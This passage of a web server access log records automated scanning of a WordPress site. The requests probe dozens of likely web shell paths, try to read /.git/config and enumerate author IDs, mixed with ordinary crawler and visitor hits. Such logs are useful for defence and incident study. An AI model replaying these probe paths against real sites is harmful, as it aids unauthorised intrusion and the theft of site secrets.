/wp-includes/SimplePie/pomo.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:35:02 +0300] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:35:24 +0300] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:35:35 +0300] "GET /galex.php HTTP/1.1" 301 795 "-" "-" 20.220.147.82 - - [12/Apr/2026:00:35:56 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:37:47 +0300] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:37:56 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:43:28 +0300] "GET /ALFA_DATA/alfacgiapi/perl.alfa%22 HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:43:35 +0300] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:44:19 +0300] "GET /pomo.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:44:23 +0300] "GET /wp-admin/images/pomo.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:44:52 +0300] "GET /wp-admin/js/widgets/pomo.php HTTP/1.1" 301 795 "-" "-" 20.220.11.224 - - [12/Apr/2026:00:45:19 +0300] "GET /wp-admin/network/pomo.php HTTP/1.1" 301 795 "-" "-" 51.68.111.208 - - [12/Apr/2026:03:38:34 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.111.208 - - [12/Apr/2026:03:38:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 93.158.90.30 - - [12/Apr/2026:06:01:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E148 Safari/604" 158.158.55.67 - - [12/Apr/2026:06:29:07 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 141.255.164.70 - - [12/Apr/2026:05:12:18 +0300] "GET /wp-content/plugins/ninja-forms-uploads/readme.txt HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36" 141.255.164.70 - - [12/Apr/2026:05:13:00 +0300] "GET /wp-content/plugins/ninja-forms-uploads/readme.txt HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15" 141.255.164.70 - - [12/Apr/2026:05:12:30 +0300] "GET /wp-content/plugins/ninja-forms-uploads/readme.txt HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15" 93.158.90.37 - - [12/Apr/2026:06:01:43 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E148 Safari/604" 20.203.243.187 - - [12/Apr/2026:06:57:56 +0300] "GET /new3.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:59 +0300] "GET /wp-turn.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:58:25 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:58:31 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:58:39 +0300] "GET /wziar1.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:58:42 +0300] "GET /xs.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:59:17 +0300] "GET /wdone1.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:59:21 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:59:24 +0300] "GET /wsheet1.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:59:26 +0300] "GET /ggb.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:55:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:41 +0300] "GET /saorix1.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:58:18 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:07:00:09 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 43.155.140.157 - - [12/Apr/2026:06:45:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.203.243.187 - - [12/Apr/2026:06:55:48 +0300] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:56:30 +0300] "GET /tiny2.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:56:36 +0300] "GET /roksad1.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:58:07 +0300] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:58:11 +0300] "GET /red.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:07:00:18 +0300] "GET /xda.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:07:00:42 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 184.72.144.88 - - [12/Apr/2026:07:08:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 20.203.243.187 - - [12/Apr/2026:06:59:44 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:59:46 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:59:49 +0300] "GET /class-wp-image.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:59:52 +0300] "GET /riz.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:56:07 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:58:53 +0300] "GET /wp-includes/theme-compat/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:59:11 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:59:57 +0300] "GET /packsin1.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:59:59 +0300] "GET /om.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:07:00:02 +0300] "GET /006.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:55:56 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:56:42 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:56:45 +0300] "GET /ga.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:56:47 +0300] "GET /less.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:56:49 +0300] "GET /x3x.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:56:53 +0300] "GET /wp-includes/Ipv6.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:56:57 +0300] "GET /state.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:00 +0300] "GET /xozx.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:01 +0300] "GET /1100.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:04 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:07 +0300] "GET /97.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:09 +0300] "GET /file-gertdxz.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:12 +0300] "GET /aboute.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:14 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:17 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:23 +0300] "GET /tx79.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:27 +0300] "GET /9.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:29 +0300] "GET /ng.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:32 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:35 +0300] "GET /wswer1.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:59:33 +0300] "GET /ava.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:59:35 +0300] "GET /awh.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:59:39 +0300] "GET /r2.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:07:00:26 +0300] "GET /wolf.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:07:00:49 +0300] "GET /1aa.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:07:00:52 +0300] "GET /12.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:56:14 +0300] "GET /son1.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:56:20 +0300] "GET /wps.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:56:23 +0300] "GET /wmore1.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:47 +0300] "GET /wgift1.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:57:51 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:58:58 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:06:59:02 +0300] "GET /myy.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:07:00:32 +0300] "GET /ww.php HTTP/1.1" 301 795 "-" "-" 20.203.243.187 - - [12/Apr/2026:07:01:00 +0300] "GET /eFpU3yHnriNNLtvdefault.php?p= HTTP/1.1" 301 795 "-" "-" 220.181.108.159 - - [12/Apr/2026:10:24:09 +0300] "GET /wp-json/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 138.197.126.23 - - [12/Apr/2026:07:51:56 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 35.78.223.239 - - [12/Apr/2026:11:36:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 4.232.184.116 - - [12/Apr/2026:08:11:25 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 119.249.100.179 - - [12/Apr/2026:10:24:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 112.118.187.149 - - [12/Apr/2026:11:20:51 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.157.38.131 - - [12/Apr/2026:07:41:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.235.136.28 - - [12/Apr/2026:07:58:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.213.234.16 - - [12/Apr/2026:12:21:40 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 114.96.103.33 - - [12/Apr/2026:14:37:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.173.1.69 - - [12/Apr/2026:13:03:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.166.142.76 - - [12/Apr/2026:13:57:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.236.68.31 - - [12/Apr/2026:12:50:02 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 34.24.177.54 - - [12/Apr/2026:15:17:18 +0300] "GET /media/system/js/core.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.13.59.184 - - [12/Apr/2026:12:45:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 20.104.18.4 - - [12/Apr/2026:12:59:56 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 188.116.25.189 - - [12/Apr/2026:14:53:53 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 144.31.188.184 - - [12/Apr/2026:15:53:00 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 109.123.253.253 - - [12/Apr/2026:17:00:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 141.98.11.224 - - [12/Apr/2026:17:05:35 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 170.106.82.209 - - [12/Apr/2026:18:29:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 161.97.174.100 - - [12/Apr/2026:19:57:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 20.91.190.16 - - [12/Apr/2026:20:29:58 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 106.227.49.113 - - [12/Apr/2026:21:15:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.248.127.178 - - [12/Apr/2026:21:34:05 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 51.68.107.149 - - [12/Apr/2026:20:11:59 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.107.149 - - [12/Apr/2026:20:11:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 43.166.134.47 - - [12/Apr/2026:19:18:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 16.147.17.226 - - [12/Apr/2026:21:15:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" 141.255.164.66 - - [12/Apr/2026:22:29:21 +0300] "GET /wp-content/plugins/ninja-forms-uploads/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36" 141.255.164.66 - - [12/Apr/2026:22:29:33 +0300] "GET /wp-content/plugins/ninja-forms-uploads/readme.txt HTTP/1.1" 301 795 "https://wordpress.org/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.130 Safari/537.36" 141.255.164.66 - - [12/Apr/2026:22:30:08 +0300] "GET /wp-content/plugins/ninja-forms-uploads/readme.txt HTTP/1.1" 301 795 "https://wordpress.org/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.130 Safari/537.36" 207.154.192.4 - - [12/Apr/2026:22:21:43 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 104.248.127.178 - - [12/Apr/2026:23:57:22 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 207.154.192.4 - - [12/Apr/2026:22:21:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 20.151.248.149 - - [12/Apr/2026:23:19:47 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [12/Apr/2026:23:19:51 +0300] "GET /kma.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [12/Apr/2026:23:20:12 +0300] "GET /ssh3ll.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [12/Apr/2026:23:20:16 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 37.214.21.13 - - [13/Apr/2026:00:12:43 +0300] "GET / HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 37.214.21.13 - - [13/Apr/2026:00:12:44 +0300] "GET / HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" 20.151.248.149 - - [12/Apr/2026:23:20:03 +0300] "GET /i6z19N.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [12/Apr/2026:23:19:58 +0300] "GET /wpls.php HTTP/1.1" 301 795 "-" "-" 20.220.221.66 - - [13/Apr/2026:01:44:11 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:30 +0300] "GET /author-sitemap1.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:36 +0300] "GET /wp-sitemap.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:37 +0300] "GET /sitemap.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:37 +0300] "GET /sitemap-users.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:41 +0300] "GET /?author=1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:41 +0300] "GET /?author=2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:41 +0300] "GET /?author=3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:42 +0300] "GET /?author=4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:43 +0300] "GET /?author=5 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:43 +0300] "GET /?author=6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:43 +0300] "GET /?author=7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:43 +0300] "GET /?author=8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:43 +0300] "GET /?author=9 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:43 +0300] "GET /?author=10 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:44 +0300] "GET /?author=11 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:44 +0300] "GET /?author=12 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:44 +0300] "GET /?author=13 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:44 +0300] "GET /?author=14 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:45 +0300] "GET /?author=15 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:45 +0300] "GET /?author=16 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:45 +0300] "GET /?author=17 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:46 +0300] "GET /?author=18 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:46 +0300] "GET /?author=19 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:46 +0300] "GET /?author=20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:47 +0300] "GET /?author=21 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:47 +0300] "GET /?author=22 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:47 +0300] "GET /?author=23 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 107.189.7.189 - - [13/Apr/2026:01:46:48 +0300] "GET /?author=24 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 